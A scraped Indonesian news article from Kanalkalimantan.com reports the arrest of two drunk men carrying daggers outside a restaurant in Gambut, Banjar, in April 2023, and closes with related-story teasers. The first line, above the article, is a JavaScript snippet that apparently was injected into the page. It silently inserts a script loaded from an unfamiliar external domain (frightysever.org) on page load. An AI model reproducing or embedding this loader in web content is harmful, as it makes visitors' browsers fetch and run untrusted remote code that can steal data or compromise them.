(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Masih dalam suasana Lebaran, warga Jalan A Yani KM 14 Kecamatan Gambut, Kabupaten Banjar, dibuat geger lantaran ada dua lelaki membawa senjata tajam (Sajam), tepat di areal parkir rumah makan RM Tenda Biru.
Kapolsek Gambut Iptu H Ruspandi membeberkan, keributan terjadi sekitar pukul 14.30 Wita, Minggu (23/4/2023) siang.
Saat itu MN alias Sai (35) dan R alias Pateng (37) berdiri di depan rumah makan tersebut dengan membawa masing-masing sebilah sajam jenis belati.
“Sejumlah warga kemudian dibuat ribut oleh pelaku dan kemudian warga melaporkan kejadian kepada anggota yang berjaga di Pos Pelayanan Lebaran di Km 14 Gambut,” beber Kapolsek Gambut Iptu H Ruspandi, Senin (24/4/2023).
Baca juga: Diburu Polres Tapin, Ini Identitas 6 Tahanan yang Kabur Jebol Plafon
Kemudian anggota pos pun langsung mendatangi lokasi keributan dan melakukan pemeriksaan, serta penggeledahan terhadap badan kedua orang yang bikin keributan tersebut.
Alhasil didapati dua pelaku saat itu tengah dalam kondisi di bawah pengaruh minuman beralkohol alias mabuk.
“Turut ditemukan pada masing-masing pelaku yaitu sebilah sajam yang selipkan di depan perut sebelah kiri,” sambungnya.
Setelah melakukan pemeriksaan diketahui, MN alias Sai merupakan warga asal Kecamatan Landasan Ulin Utara, Kota Banjarbaru yang berprofesi sebagai seorang buruh harian.
“MN membawa sajam jenis herder bergagang kayu warna hitam dengan panjang 27 cm dan kumpangnya dari kulit warna cokelat,” jelasnya.
Baca juga: Dirut PLN Pastikan Keandalan Listrik dan Kecukupan Pasokan Selama Liburan Idulfitri
Sedangkan R merupakan warga Kelurahan Gambut, Kabupaten Banjar membawa sajam jenis belati herder bergagang kayu warna cokelat dengan panjang 30 cm dan kumpangnya dari kulit warna cokelat.
Dari kejadian ini kedua pelaku dikenakan pasal 2 ayat (1) Undang-Undang Darurat RI No. 12 Tahun 1951 dengan ancaman hukuman 10 tahun kurungan penjara.
“Akan dihukum dengan ancaman 10 tahun penjara karena secara tanpa hak, membawa, menyimpan, memiliki dan atau menguasai senjata tajam, tanpa di dilengkapi surat izin,” tutup Kapolsek Gambut. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
This website uses cookies.